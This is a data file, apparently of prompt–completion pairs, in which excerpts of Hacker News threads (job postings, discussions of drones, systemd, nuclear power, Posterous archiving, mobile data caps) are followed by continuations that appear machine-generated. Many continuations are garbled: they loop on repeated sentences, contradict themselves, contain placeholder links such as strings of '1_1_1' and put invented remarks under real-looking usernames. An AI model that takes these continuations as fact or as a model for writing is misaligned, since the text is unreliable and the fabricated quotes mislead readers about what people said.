hinter nach.\n\nIt means something like, \"when flies fly behind flies, then flies fly after\nflies.\"\n\n~~~\njimbokun\nShouldn't there be time and arrows in there somewhere?\n\n~~~\nLogicHoleFlaw\nTime flies like an arrow; fruit flies like a banana.\n\n~~~\nBearOfNH\nTime flies like an arrow; space flies like a bow.\n\n------\ncode_devil\nI remember one from grade 5 which is kind of similar... \"I saw a saw to saw a\nsaw \"\n\n(The Buffalo based is definitely not easy to comprehend in the first go)\n\n------\ncadr\nMake sure to click the 'Listen to this article' link at the bottom - many\nWikipedia articles are _much_ funnier if someone is reading them to you.\n\n------\ndonaq\nI am also reminded of Marklar from South Park.\n\n------\nbiggitybones\nEverytime I come across this I have to go to the wikipedia page to check the\ngrammar.\n\nI find these types of sentences incredibly creative (and confusing).\n\nA similar thing, inspired by buffalo and illustrated:\n\n\n------\nseanlinmt\nwe have something similar in the hokkien dialect.. which goes.. kong kong\nkong kong kong kong kong kong kong kong\n\nwhich consists of... kong kong = grandpa kong = says kong = can kong = hit\nkong = dizy\n\nbut you have to get the intonation right.. lol"} +{"output_text": "-person team that is building a platform to help\nbusinesses manage their employees. We are looking for a full-stack engineer to\njoin our team.\n\nWe are looking for someone who is passionate about building great products and\ncan work well in a fast-paced environment. You will be working with a team of\nexperienced engineers to build a platform that will help businesses manage\ntheir employees.\n\nWe are looking for someone who is passionate about building great products and\ncan work", "input_text": " link end with c009b47332cb75b8659692753eed58ff\n\n------\narthurcl\nFujitsu RunMyProcess | Site reliability Engineer | Paris, France |\nONSITE,VISA, [https://www.runmyprocess.com](https://www.runmyprocess.com)\n\nAs an innovation subsidiary of the Fujitsu group we develop, operate and sell\nan innovative cloud platform that helps our customers build and run\napplications that connect people, processes and systems.\n\nWe are looking for a site reliability engineer to join our Devops team that is\nresponsible for building and operating our platforms. Stack : AWS, CentOS,\nAnsible, Chef, Capistrano, JBoss, Docker, CoreOS, Prometheus and soon\nKubernetes.\n\nYou will: * Take a leading role in the operation and maintenance of our\nproduction platforms. * Join the oncall rotation team. * Work closely with our\ndevops and developers to build and scale our infrastructure constantly. *\nPartial remote work possible.\n\nYou profile: * 2+ years experience working as sysadmin, devops or related\nfield in critical/demanding environment. * Linux and OSS passionate (we are\nCentOS centric). * Experienced with automation tools (Ansible). * Experienced\nwith AWS.\n\nAvoid the confidence gap, you do not have to match all the listed requirements\nexactly to apply.\n\nApply: Arthur Cl\u00e9ment, arthur@runmyprocess.com\n\n------\ntreyreynolds\nAbilitie | Full-Stack Software Engineer | Austin, TX | Full-Time |\n[http://www.abilitie.com](http://www.abilitie.com)\n\nAbilitie is an energetic 10"} +{"output_text": " case is a good example of how the FDA can be\noverwhelmed.\n\n[https://en.wikipedia.org/wiki/Showa_Denko_K.K._v._United_Sta...](https://en.wikipedia.org/wiki/Showa_Denko_K.K._v._United_States)\n\n------\njaclaz\nI am not sure if this is a good example, but I have seen a few cases where\nplants", "input_text": " nuance required for high skilled use cases or jobs, well, that's still not enough.

Your thoughts?\n======\nforgotmypw17\nIn terms of human development, publicly available and disclosed machine\nintelligence has reached what in human child development would be considered a\nmajor new milestone.\n\nPreviously, Eliza and the likes could only mimic basic speech construction,\nwith increasing levels of correctness.\n\nNow, GPT-3 can mimic meaning and understading, rather convincingly. Its\nmistakes are akin to a child's naive questions.\n\nI would put its equivalent human age at about 3-5 years old. Sometimes 5-year-\nolds can come up with nonsense, and sometimes you have an \"out of the mouths\nof babes\" moment.\n\nThat's really huge, IMO.\n\n \nMore than 1000 drug plants never inspected - sndean\nhttp://cen.acs.org/articles/95/i5/1000-drug-plants-never-inspected.html\n======\nCerium\nThis is not really surprising. The FDA has to be very careful with how they\nmanage their resources. Before being allowed entry to the USA, the company\nmust file information about what they are doing and where and who they are.\nThey must also have a representative in the USA. All this information allows\nthe FDA to quickly find the source of problems and stop them should a\nsituation arrive.\n\nIf we handled this in any other way it would place an undue burden on either\nthe taxpayer or the companies. Who should pay the inspection fees for a\ncompany importing very small volumes?\n\nIn the end, yes it is shocking, but the system generally works.\n\n~~~\nDrScump\nThe Showa Denko K.K."} +{"output_text": " to record data for a limited period of time,\ntypically 30 seconds, and then automatically delete the data. The EDR is\ndesigned to record data only when the vehicle is in motion. The EDR is not\nintended to record data while the vehicle is stationary, such as when the\nvehicle is parked or when the vehicle is being driven on a public road.\n\nThe EDR is not intended to record data related to the driver or passengers of\nthe vehicle. The E", "input_text": " of the addon driving monitors in their car to get an\ninsurance discount. It lasted about a month. Apparently they drive like\nmaniacs.\n\n------\nanm89\nWhat a nightmare. Avoiding owning a car starts to sounds better and better\nevery day.\n\n------\njdhn\nTo paraphrase Charlton Heston, you can pry my my manual transmission, non-\ninfotainment having car from my cold, dead hands!\n\n------\nbvanderveen\nJust go buy a pre-2012 Toyota, take it to a reputable independent Toyota-\nspecific shop in your area, and say \"make it good, boss\". Pay him whatever he\nasks.\n\nThen go find an insurance broker, ask them to put you in touch with someone\nwho can provide you with an agreed-value insurance policy. Insure the vehicle\nfor purchase price + what the shop changed you.\n\nGet regular oil changes at Jiffylube, and take the car into the Toyota guy\nonce a year. Although it may not be flashy, you'll have a reliable, efficient\nride for many, many years.\n\nNew cars simply aren't worth the creepy factor.\n\n------\nzepearl\nI just bought a Volvo (but I didn't get it yet) => apparently all Volvos have\nan embedded \"Event Data Recorder\":\n\n _This vehicle is equipped with an \"Event Data Recorder\" (EDR). Its primary\npurpose is to register and record data related to traffic accidents or\ncollision-like situations, such as times when the airbag deploys or the\nvehicle strikes an obstacle in the road. The data is recorded in order to\nincrease understanding of how vehicle systems work in these types of\nsituations. The EDR is designed"} +{"output_text": "ocate: Yes Technologies:\nJava, Spring, Hibernate, Angular, React, React Native, Kotlin, Python,\nPostgreSQL, MongoDB, AWS R\u00e9sum\u00e9/CV:\n[https://drive.google.com/open?id=1_1_1_1_1_1_1_1_1_1_1_1_1_1...](https://drive.google.com/open?id=1_1_1_", "input_text": "ashwat-\nresume.pdf](https://shashwatsingh.me/data/shashwat-resume.pdf)\n\nEmail: shashanoid@gmail.com\n\nGithub: [https://github.com/shashanoid](https://github.com/shashanoid)\n\n------\nsaltmaster\nI enjoy working as a full stack developer but have been more focused on front\nend in the past year. I\u2019m a fast learner and have been developing in a few\nlanguages for the last 10 years. Currently working in Rotterdam but I'm open\nto new opportunities.\n\nLocation: Rotterdam, NL / The Netherlands\n\nRemote: No\n\nWilling to relocate: No\n\nTechnologies: PHP, JS, MySQL, Node, Vue\n\nR\u00e9sum\u00e9/CV: [https://umja.nl/](https://umja.nl/)\n\nEmail: tim@umja.nl\n\n------\ndeepakvig180\nLocation: Vancouver, Canada Remote: Yes Willing to relocate: No Technologies:\nRuby on Rails, JavaScript, Go; NodeJS, GraphQL, React/Vue, HTML/CSS, Docker\nR\u00e9sum\u00e9/CV:\n[https://drive.google.com/open?id=1ZnLE4Qo3U5lpgASM-B7ueaSgTj...](https://drive.google.com/open?id=1ZnLE4Qo3U5lpgASM-B7ueaSgTj0F5Iko)\nEmail: deepakvig@gmail.com\n\n------\naswathrao\nLocation: TamilNadu,India Remote: Yes Willing to rel"} +{"output_text": "free electricity.\n\n~~~\nmikeash\nI don't think that's true. Nuclear reactors are already used to produce\ncarbon-free electricity.\n\n~~~\nnradov\nNuclear reactors are used to produce electricity, but they are not used to\nproduce carbon-free electricity.\n\n~~~\nmikeash\nI don't think that's true either. Nuclear reactors are used to produce\nelectricity, but they are not used to produce carbon-free", "input_text": "/doxygen/v8_chromium_r157275/classv8_...](http://blog.peschla.net/doxygen/v8_chromium_r157275/classv8_1_1internal_1_1_symbol_key.html)\n\\- it's\n\n------\nxienze\n> Sometimes it would be awfully convenient to stash some extra data on a\n> JavaScript object that really belongs to someone else.\n\nConvenient yes, a good idea, no.\n\n> Other code using for-in or Object.keys() may stumble over the property you\n> created.\n\n> The standard committee may decide to add an.isMoving() method to all\n> elements. Then you\u2019re really hosed!\n\nSo I dunno, maybe don't stash properties into an object that doesn't belong to\nyou? It's this sort of thing that makes me hate the culture around JavaScript.\nHacks upon hacks upon hacks just to save a little effort.\n\n~~~\nsombremesa\nI don't see why they didn't just use an Object/dictionary. Shouldn't be slow\nto iterate and solves this exact use case.\n\n \nRolls-Royce Touts Nuclear Reactors as Key to Clean Jet Fuel - JumpCrisscross\nhttps://www.bloomberg.com/news/articles/2019-12-06/rolls-royce-pitches-nuclear-reactors-as-key-to-clean-jet-fuel\n======\nnradov\nIn the long run this will also be the future of merchant shipping. We can't\ngenerally install nuclear reactors in civilian vessels due to high costs and\nsecurity concerns. But we can use nuclear power on shore to produce carbon\n"} +{"output_text": " chair is a bit more\nexpensive, but it's a good investment. I use it for reading, writing, and\ncoding.\n\n3\\. A standing desk. I use this for coding, but it's also good for reading.\n\n4\\. A standing desk with a chair. I use this for coding, but it's also good\nfor reading.\n\n5\\. A standing desk with a chair and a standing desk with a chair. I use this\nfor coding,", "input_text": "https://www.ikea.com/us/en/p/lisabo-coffee-table-ash-\nveneer-70297658/) The sheepskin is from sheepskin town, but any cushioning\nthat softens the floor for your ankles/knees is good.\n\n~~~\njohnchristopher\nThanks a lot, much appreciated!\n\nI was browsing though the different pillow/cushion and was a bit worried at\nfirst by the $150 zafu/zabuton but it looks like there are ~$50 ones so I can\ngive it a try.\n\n------\ngagabity\nThe Ikea POANG recliner chair, you know the one, is the most comfortable chair\nI have ever used, you need to rearrange your desk setup because its so low and\nleaned back but once you have it destroys any other option out there, your\nback is just relaxed.\n\n~~~\ntonyedgecombe\nI can sit and read in mine but I can't imagine trying to work in it.\n\n------\npolote\nI have been trying to find info on laying down desks and chairs in the past\nfew weeks, but there is really not a lot of people who have experienced with\nit. If you had, please comment here\n\n~~~\nmegameter\nHere is my setup, which is a very inexpensive, low-footprint way of doing it:\n\n1\\. A large lap desk. This is a powerful tool for adding flexibility as you'll\nsee. It lets you keep all the peripherals near you. I currently use it with a\nUSB hub, a 65% mechanical keyboard, a keypad with macro functions, and a\ntrackball mouse.\n\n2\\. A floor chair with reclining functions. The"} +{"output_text": " only thing I would add is that I would like to see\nthe ability to have a \"no thanks\" option. I don't want to be bothered with\npush notifications. I don't want to be bothered with ads. I don't want to be\nbothered with anything. I just want to read the news.\n\n~~~\nkinlan\nWe are working on a \"no thanks\" option.\n\n------\njoshstrange\nI'm not sure I understand the", "input_text": " along with Vox itself) declared that they were going web-\nonly:\n\n[http://www.theverge.com/2014/9/2/6096609/welcome-to-\nverge-2-...](http://www.theverge.com/2014/9/2/6096609/welcome-to-verge-2-0)\n\nIt doesn't seem to have hurt them - but push notifications are probably the #1\nfeature that differentiates between webapps and native apps in a context like\nthis. I wonder if they'll take advantage.\n\n(as with all things mobile web, this comes with the huge caveat that Apple\nhave no intention of doing this (despite having similar functionality on\ndesktop), and want to force everyone to use native apps, so it's unlikely to\nbe a complete solution any time soon)\n\n~~~\nsosborn\nPersonally I can't think of anything I want less than push notifications from\nwebsites.\n\n~~~\nuntog\nWhy, though? Or, put another way, why are push notifications from apps fine\nwhen push notifications from web sites are not?\n\n~~~\nsosborn\nHonestly the only notifications I care about are email, text messages and\nphone calls. The rest can all go to hell. Again, this is just my personal\ntaste.\n\n~~~\nkinlan\nI think that is fine. You can disable notifications and push completely, and\nyou can not accept the prompt if you don't want to go that far. We are trying\nto be careful and make this opt-in only and clear to the user about the value\nthat they can get from it (if they choose it)\n\n------\nthemodelplumber\nThis is cool to see. The"} +{"output_text": " development.\n\n~~~\njules\nI think you are right, but I think the Chinese government is not really\ninterested in space exploration. They are interested in space colonization.\n\n~~~\nstcredzero\n_I think you are right, but I think the Chinese government is not really\ninterested in space exploration._\n\nI think that's a bit of a stretch. They are interested in space colonization\nbecause they are interested in space colonization.\n\n------\njules", "input_text": ", has graduated in physics, and\nhas actually worked in research for some time. Angela Merkel (coming from\nEastern Germany) has also a scientific background (in physics and chemistry).\n\nBut otherwise, it seems you are right about the fact that there is no such\nrule about post-totalitarian leaders being educated in engineering or sciences\nin general.\n\n~~~\nllcoolv\nI stand corrected - just read that Havel has studied economcs for only two\nyears before dropping out and that's probably the reason I have remembered him\n(wrongly) as an economist - I must have read it somewhere and it has probably\nstuck in my mind.\n\nBtw, the rest of the Eastern European countries can learn a lot of things from\nthe Czechs.\n\n------\nshmulkey18\nPerhaps this should cause some reflection on the following question: why do\nscientists seem to be disproportionately inclined to serve authoritarian\nregimes?\n\nMy guess is that scientists believe that people like themselves -- people\nwhose ability in one field they imagine transfers to many others -- should\ncontrol the world, and those that they consider their intellectual inferiors\nshould shut up and surrender control to cognitive ubermenschen.\n\nUnfortunately, that idea hasn't worked out too well in the past.\n\n------\nstcredzero\n_Oh, we forgot about our head of the class: China. Astonishingly, since 1980\nChina has not won a single scientific Nobel Prize. Keep in mind, this is a\ncountry of 1.3 billion people._\n\nIf China is ruled by engineers, then it is ruled by groups that understand the\neconomic implications of the rocket equation and how this can be overcome\nusing existing technology. Moving off-world is going to be the next huge\nwatershed in human history and economic"} +{"output_text": "] I'm not sure how you'd do that, but I'm sure it's possible.\n\n~~~\nskrebbel\nI'm not sure what you mean by \"post capitalism\".\n\nI'm not sure what you mean by \"empty boxes\".\n\nI'm not sure what you mean by \"raise billions of $\".\n\nI'm not sure what you mean by \"sell[1] empty boxes for all those unboxing\nvideos\".\n\nI", "input_text": " saw a high production value\nrendering of a yet to be released phone for a second tier company?\n\n~~~\ngibolt\nPretty sure Lenovo isn't a second tier company...\n\n~~~\njoezydeco\nGoogle gutted Motorola Mobility for its intellectual property and then sold\nthe carcass to Lenovo.\n\nThe smarter employees left for greener pastures even before the sale was\ncomplete. What's left isn't even third tier.\n\n------\nsonnyblarney\nOdds are it was some random person at an agency or in marketing, or contracted\nto do some little thing... and either didn't think about the issue or didn't\ncare to.\n\nFrankly I'm surprised this kind of stuff doesn't happen more often.\n\nEdit: And I'm speaking from experience. Large companies are not as\nspecifically coordinated as people sometimes ascribe them to be. And nobody in\nmarketing or any other dept. wants to deal with legal review of anything if\nthey can avoid it.\n\n~~~\nusrusr\nProbably subcontracted so many layers deep that the person who eventually sold\nsome random internet video as their own did not even reach a particularly high\nhourly rate using the shortcut.\n\n------\njonny_eh\nWait, they're promoting a product that doesn't exist?\n\n~~~\nskrebbel\nYes, and nobody understands why. Beautiful, isn't it :-)\n\n~~~\nbenj111\nPost capitalism? You don't need to _make_ anything, just announce products\npeople want to buy, regardless of whether they're actually buildable. Next\nstep, raise billions of $ on the back of the 'product', then presumably\nsell[1] empty boxes for all those unboxing videos.\n\n[1"} +{"output_text": " ISP?\n\n~~~\njlgaddis\nI would say something.\n\n------\njlgaddis\nI'm not sure if this is a Quantum Insert attack or not, but I've seen a few\ncases where the attacker was able to inject packets into the network and\ncause the victim to send packets to the attacker.\n\n------\njlgaddis\nI'm not sure if this is a Quantum Insert attack or not, but I've seen a few\n", "input_text": " hard? You need a buffer of TCP data, that was\npossibly already passed to application.\n\n1) Is there a kernel patch yet?\n\n2) \"HoneyBadger is a passive TCP protocol analyzer whose only purpose in life\nis to detect and optionally record TCP injection attacks.\"\n[https://github.com/david415/HoneyBadger_docs/blob/hackpad1/s...](https://github.com/david415/HoneyBadger_docs/blob/hackpad1/source/how-\nto-badger-the-puppet-masters.rst#tcp-injection-attack-categories)\n\n------\nhkparker\nI wrote a script a while ago in Go to detect quantum insert attacks. It's not\nperfect but its well commented. I noticed quite a few detections when I ran it\nfor a few days but they seemed to be benign, probably retransmissions.\n\n[https://gist.github.com/hkparker/97548b2c0c79a9149f50](https://gist.github.com/hkparker/97548b2c0c79a9149f50)\n\n------\ntempodox\n_... I can only churn out so much linkbait, even for the sake of science._\n\nAs a consolation, I offer the idea that the sum of linkbait in the universe is\nconstant. And since the days of Max Planck & Erwin Schr\u00f6dinger, no-one can\nknow the contents of a link until you klick it.\n\nIf we produce enough quantum haze, the NSA might just get confused.\n\n------\nagd\nIf you detected a Quantum Insert attack against you, would you even say\nanything? Why alert your"} +{"output_text": " Kroah-\nHartman is the one who started it.\n\n~~~\n616c\nI am not sure why this is getting downvoted. I am not saying that systemd is\nbad, but I am saying that the article is not a good representation of the\nsituation.\n\n~~~\n616c\nI am not sure why this is getting downvoted. I am not saying that systemd is\nbad, but I am saying that the article is not", "input_text": "sliverstorm\nI forgot to clarify, running the dev build on Ubuntu. I am using 10.04 right\nnow.\n\n \n\nThe Systemd Project Forks the Linux Kernel - dezgeg\nhttp://distrowatch.com/weekly.php?issue=20150330#community\n\n======\nhleszek\nChecking the calendar: not yet first april...\n\n~~~\ncomputer\nLooks like a weekly magazine, so this edition would cover April 1st.\n\n------\nsspiff\nThis is not the real systemD repository. This is just some random guy on the\ninternet who snagged the GitHub username \"systemdaemon\".\n\nHave a look here:\n[https://github.com/systemdaemon](https://github.com/systemdaemon)\n\nA profile created two weeks ago, with a single repository, 0 stars and 1\ncommit over its entire lifetime.\n\nThis is a transparant hoax, and I don't understand how Distrowatch (and the HN\ncommunity) has not seen through it yet...\n\n~~~\n616c\nThanks for shedding real data on the issue. I was skeptical myself. I checked\nout Poettering's Google+ profile and see no mention of this yet, and I was\nkind of surprised.\n\n------\n616c\nI am kind of disappointed that there is some baity qualities to this article,\nspecifically referencing how Linus chewed out a systemd developer. He did\nthat, but I recall it not being directly related to his work on systemd and it\nnegatively impacting the kernel. Kay Sievers is a well-known problem causer as\nLinus is concerned, so this is not news.\n\nKeep in mind if you find the mailing list thread referred to, Greg"} +{"output_text": " we're focused on doing the right thing, and we're looking for\npeople who are passionate about that. We're looking for people who are\npassionate about health, people who are passionate about making a positive\nimpact, and people who are passionate about working in a small company.\n\nWe're looking for:\n\n* Senior Software Engineer (Go)\n\n* Senior Software Engineer (Java)\n\n* Senior Software Engineer (Node.js)\n\n* Senior Software Engineer", "input_text": "\ntime.\n\n[http://www.airteam.com.au/](http://www.airteam.com.au/)\n\nWe design and develop digital products for some of Australia's most prominent\nbrands.\n\nWe are looking for someone with a background in agencies, consulting or\nproduct development to help us grow our business through recruiting and\nmarketing our brand through social media, communications and at events.\n\nIf interested contact rich at airteam dot com dot au with a CV or covering\nemail.\n\nOnsite only, flexible arrangements, no recruiters please.\n\n------\namattn\nCollective Health, (\n[https://collectivehealth.com/jobs/](https://collectivehealth.com/jobs/) ),\nSan Francisco (very near caltrain), CA (Full time, ONSITE only, VISA case-by-\ncase, see below)\n\nWe're replacing health insurance with a system that members love. Using our\nSW, platform and services, an employer can pay doctors directly, saving a ton\nof money and making the employee experience amazing (with the testimonials to\nback it up). The company is well-funded, ~two and a half years old and growing\nvery rapidly with sales traction. We punch well above our weight-class with\nexperienced founders, ~250 team members (~ one quarter is engineering), and\npaying customers.\n\nOur tech stack is a mix of Go and Java components with Angular on the front\nend. We use a custom service bus to tie our SOA together, microservices style.\nWe love Docker, CoreOS, postgres, automated testing, and continuous\nintegration. We've got some neat in-house tools for service discovery, health\nchecks, cluster setup and deploy and more.\n\nAs a company,"} +{"output_text": " do =\n **************\n \n\nArmada is a fast growing startup in the Boston area. We are building a\nplatform that allows companies to build and deploy machine learning models\nquickly and easily. We are looking for a senior software engineer to join our\nteam.\n\nWe are looking for someone who is passionate about building great software\nthat solves real problems. You will be working on a variety of projects,\nincluding:\n\n* Building a scalable, high performance", "input_text": " genetic data analysis, as well as developing the\ninfrastructure necessary to manage the efficient operation of those workflows.\n\nThis role will involve working as part of the HGI team to deliver working\nsystems that produce analytical outputs for human genetics faculty research\ngroups within the Sanger. Team members will be expected to produce quality\ncode; to be able to work both independently and closely with colleagues to\ndevelop, debug, and optimize their code; and to be comfortable communicating\ndirectly with scientific researchers regarding requirements.\n\n------\nsylvainkalache\nHolberton School | San Francisco | Software Engineer | ONSITE - Full-time\n\n=== Who We Are === A 2-year alternative to college training Full Stack\nSoftware Engineers using a peer-learning and project-based approach: no formal\nteachers, no lectures, students learn by practicing and collaborating with\npeers.\n\nWe are a team of 6, moving fast and positively impacting people's life.\n\n=== Who We Are Looking For === We are looking for a generalist Software\nEngineer to work on our tools and curriculum: -Tools: website, intranet, auto-\nreview system and a bunch of other small tools -Curriculum: design, write and\nimplement correction for projects given to the students\n\nThe job is both about interacting with software but also with humans (our\nstudents and mentors who are helping us building the curriculum)\n\nThe interview process is short and is focusing on passion and execution.\n\n=== Interested? === Shoot an email to sylvain@holbertonschool.com\n\n------\nspeek\nArmada - [http://armada.ai](http://armada.ai) \\- Cambridge/Boston ONSITE\n\n \n \n **************\n = What we"} +{"output_text": "video] - jamesqf\nhttps://www.youtube.com/watch?v=1_0_0_0_0g\n======\njamesqf\nThis is a great video on the Fundamental Theorems of Mathematics.\n\n[https://www.youtube.com/watch?v=1_0_0_0_0g](https://www.youtube.com/watch?v=1_0_0_0_0g", "input_text": "\n------\nEJTH\nRediculus. This paranoia has to end. I don't know wether people in general\nhave a fear of being stalked by a racing FPV with a shoddy CMOS camera at the\nbeach, or if they fear some lunatic strapping a handgrenade to one.\n\nFPV is pretty much what makes drones fun to use, I don't see why you would\noutright ban \"drones\" instead of just making regulations as to where you can\nfly with a camera.\n\nEU will practically ban drones too in the near dystopian future.\n[https://www.youtube.com/watch?v=hCyiO6shKGI](https://www.youtube.com/watch?v=hCyiO6shKGI)\n\n------\ngnicholas\nI wonder how would this ruling apply to:\n\n(1) drones with cameras that can be used for both navigation and for capturing\nvideo, but which the operator only uses for navigation\n\n(2) drones with cameras that can only be used for navigation and are viewable\nby the operator in real-time\n\n(3) drones with cameras that are used primarily for autonomous stabilization\n(Parrot Mini Cargo has one) but can also be used to capture photos\n\n------\nkwhitefoot\nSo long as no one is allowed to have them that's fine. No one at all, not the\npolice, not the kommune, not the secret service, not the army, absolutely no\none.\n\n------\nwcummings\nIf it doesn't have a camera, is it really even a drone? Should just say\nthey've banned drones.\n\nGood fucking riddance imo.\n\n \nSome Fundamental Theorems in Mathematics ["} +{"output_text": " enable proper price\ncompetition in a field of fat commissions. Join a small, agile, and fast-\ngrowing team, in our beautiful office in St. Katharine Docks. If our US\nlocation tickles your fancy, you get to help setting up a brand new office\ntoo.\n\nSmarkets develops a reliable, low-latency, highly concurrent betting exchange\nbased on trading exchange designs. We're also building a fast, modern web\ninterface to allow for", "input_text": "n@repspark.com with applications or questions. We'd love to hear\nfrom you!\n\n------\nmoondistance\nHaskell Lovers Stealth Co. | Software Engineer | Menlo Park, CA | Full-time |\nOnsite\n\nVery well-funded startup seeking fellow Haskellers who would also enjoy coding\nexclusively in Haskell. Seeking all levels of experience (multiple positions).\n\nExperienced team working on an exciting product. Competitive compensation.\n\nInterested in chatting? Email eulerconstantine@gmail.com\n\n------\ntyre\nSeneca Systems (YC S16) | Full-stack, front-end, database engineers | Redwood\nCity, CA | ONSITE -\n[http://seneca.systems/careers](http://seneca.systems/careers)\n\nSeneca Systems provides cloud-based software that empowers city managers and\ngovernment workers to provide outstanding service to citizens and communities.\nRomulus, our flagship product, helps local government workers to manage\ncasework and be the system-of-record for city data.\n\nCities and local governments across the country\u2014like San Jose, Sacramento,\nBoston, Chicago, Houston, and Miami\u2014depend on Romulus to make government run\neffectively.\n\nStack: Ember => Ruby/Rails and Elixir/Phoenix => Postgres\n\n[http://seneca.systems/careers](http://seneca.systems/careers)\n\n[https://romuluscrm.com](https://romuluscrm.com)\n\n------\nbostik\nSmarkets | Full Time | ONSITE (London, UK; now also Santa Monica, California)\n\nWe're a modern betting exchange, going technology first to"} +{"output_text": "hioscar.com/about/jobs/13255?gh_jid=13255)\n\nSenior Site Reliability Engineer (NYC)\n[https://www.hioscar.com/about/jobs/13256?gh_jid=13256](https://www.hioscar.com/about/jobs/13256?gh_jid=13256)\n\nSenior Software Engineer (NYC)\n[https://", "input_text": "trump, isn't this a great opportunity for Australia to steal some talent.\n\nAlso didn't Trump tell Turnbull that he is an idiot for asking him to take\n2000 refugees when he just signed the anti-muslim order?\n\n~~~\nsamrobertonrokt\nSponsoring engineers to come to Australia is definitely possible -- and in\nfact we've done it in the past for certain roles. But, as in some other\ncountries, it does come with the caveat that you need to be able to justify\nthe sponsorship with evidence that it's not possible to find anyone who could\ndo the role and who already has the right to work in Australia.\n\nWe're pretty open about what sort of candidates we'd consider: we're looking\nfor good engineers to join the team, and are willing to accept that that means\nthat we might have to spend some time and effort training them up in the\ntechnologies we use, etc. I think that's a great attitude for us to have. But\nit does make it pretty difficult for us to turn around and tell the government\n\"we have to bring this specific individual from overseas because no Australian\nhas the exact skillset we need for this role\".\n\n------\nErinSlack\nOscar Insurance is a startup using technology, data & design to change the way\npeople find and access care. We are disrupting the healthcare industry by\nputting people first, not business and cost. www.hioscar.com W e're currently\nhiring for a variety of Full-time/Onsite roles here in our New York City\nlocation.\n\nSite Reliability Engineer (NYC)\n[https://www.hioscar.com/about/jobs/13255?gh_jid=13255](https://www."} +{"output_text": " you can have a single ACL that allows all traffic\nfrom a particular subnet to a particular host.\n\n------\njedberg\nI've been using this for a while now and it's been great. I've been able to\nuse it to do things like allow a specific IP to access a specific port on a\nspecific server, or allow a specific IP to access a specific port on a\nspecific server, but not allow a specific IP to access a specific port on a", "input_text": " Groups (which\nare more stateful in nature)._\n\nI inherited an infrastructure that had NetACLs and security groups with\nduplicate entrypoints and policies, years of accumulated cruft because it was\npoorly designed and the documentation was even worse (read: nonexistent),\nsecurity groups all the way down. That one threw me through a hard and\nannoying mental loop for a couple of hours until picking through with the\nfinest tooth comb revealed what was going on.\n\nThe fun part is going to be rebuilding our routing in a new VPC such that it\ndoesn't make the next guy want to put his head in a black hole.\n\nI'd be lying if I said it wasn't a fun challenge in a sordid kind of way,\nthough.\n\n~~~\nAmericanChopper\nI guess it\u2019s a matter of preference, but I strongly prefer security groups\nover ACLs, which I don\u2019t use at all. Even if only from a compliance\nperspective, a security group is equivalent to a host firewall (which\npersonally helps me with PCI - no need for iptables and windows firewall).\nWhereas an ACL is a bit harder to make that case with. I also find them easier\nto audit.\n\n~~~\njavadocmd\nI like using ACLs for my coarse-grained \"this subnet is allowed to talk to\nthis subnet\" rules, and security groups for everything finer-grained. Maybe\nI'm over-cautious, but I don't want one rogue security group opening up a\ntunnel to sensitive subnets.\n\n~~~\najbourg\nYes, this is one of the best reasons to use network ACLs. (You can also\nachieve this with routes)\n\nI think the idea is that"} +{"output_text": ".)\n\n------\njmathai\nI'm not sure if this is the right place to ask this but I'm curious if anyone\nhas any experience with the Archive Team and their tools.\n\nI'm a developer and I'm interested in helping out with the Archive Team.\n\n~~~\nnucleardog\nI'm not sure if this is the right place to ask this but I'm curious if anyone\nhas any experience with the Archive Team and their tools.\n\nI", "input_text": " - jmathai\n\nTL;DR

Posterous is shutting down in a week and the Archive Team needs more time else 1.3 million blogs will essentially disappear.

--

I've been following an exchange between Jason Scott (Archive Team / Internet Archive) and Sachin Agarwal (Posterous) [1].

It appears that Posterous gave the Archive Team some dedicated servers to hit but it wasn't sufficient to download the amount that's going to be deleted.

I don't know all of the details but saving content to a historical archive is invaluable. Offering the ability for users to download their content is great but it serves a very different purpose than what the Archive Team and Internet Archive does.

Additionally, it's certain that much of the content will disappear because users didn't receive the shutdown email, 30 days wasn't long enough or simply didn't bother to do anything. The public content there is still valuable.

[1] https://twitter.com/agarwal/status/327153883237453825\n======\nddorian43\nEveryone who wants to help can install the Archive Team Warrior.\n\nThe ArchiveTeam Warrior is a virtual archiving appliance. You can run it to\nhelp with the ArchiveTeam archiving efforts.\n\n\n\n~~~\nnucleardog\nInstalled and running. It's a quick download. If you already have some sort of\nVM software installed, getting it running is pretty painless.\n\n(VMware said it wasn't compatible, but gave me the option to retry import with\nrelaxed restrictions. I had to move the second (scratch) disk from Secondary-\nSlave to Secondary-Master, but it came up no problem"} +{"output_text": "------\njrockway\nI'm not sure I understand the point of this article. It's not like the\nanaconda is going to be attracted to the human body. It's just going to be\nattracted to the human brain.\n\n~~~\njrockway\nI guess I'm just not a big fan of the \"I'm not attracted to you, but I'm\nattracted to your brain\" thing.\n\n~~~\njrockway\nI guess", "input_text": " actual mating any easier :p but it puts a lot of\nperspective into it.\n\n------\njff\nDidn't Sir Mix-a-Lot already formulate this as \"My anaconda don't want none\nunless you've got buns, hon\"?\n\n------\nGroxx\nAt the risk of sounding snobbish, brains turn me on _way_ more than bodies.\nBrains last, bodies go pretty quickly.\n\nMaybe I'm just poorly reward-motivated, though. My wife and I effectively\nlived together for 3 years before getting married, and we both waited until\nmarriage for sex.\n\n~~~\ncsytan\n\n Brains last, bodies go pretty quickly.\n \n\nNeither last without constant care & maintenance.\n\n~~~\nGroxx\nGranted, but the stereotypical \"ideal\" body simply doesn't last through a\nlifetime, no matter how it's maintained, though a mind can last through even\nthe longest life.\n\n------\nmetamemetics\nnews: Scientists Discover That People Think That Things That They Think Are\nGood Are Good.\n\n------\nswernli\nInterestingly enough, Waist-to-Hip Ratio (WHR) has come up here before:\n\n\n------\nfibonacci\nI kinda' prefer the golden ratio, myself. NSFW:\n[http://www.reddit.com/r/nsfw/comments/9v6zt/curvy_in_all_the...](http://www.reddit.com/r/nsfw/comments/9v6zt/curvy_in_all_the_right_places_follows_the_golden/)\n\n"} +{"output_text": " T-Mobile and I've never heard of this. I've never had to worry about\ndata caps.\n\n~~~\nStavrosK\nI'm on T-Mobile too, and I've never heard of this either. I've never had to\nworry about data caps.\n\n------\njoezydeco\nI'm not sure if this is a good thing or not.\n\nI'm not sure if this is a good thing or not.\n\n", "input_text": "/Files/ASA/Hot%20Topics/Broadband%20hot%20topic.ashx)\n\nAll you can do is keep sending complaints and encourage others to keep sending\ncomplaints. They do, apparently, occasionally take notice of complaints.\n\n------\nbriantakita\nLabeling people as thieves is manipulative & hypocritical when the marketing\nliterature claims \"unlimited\" data.\n\nAll TMobile needs to do is tell the truth & have a reasonable plan for high\nbandwidth customers. Instead they treat these customers like criminals & turn\ninto the data gestapo.\n\nIn the meantime, 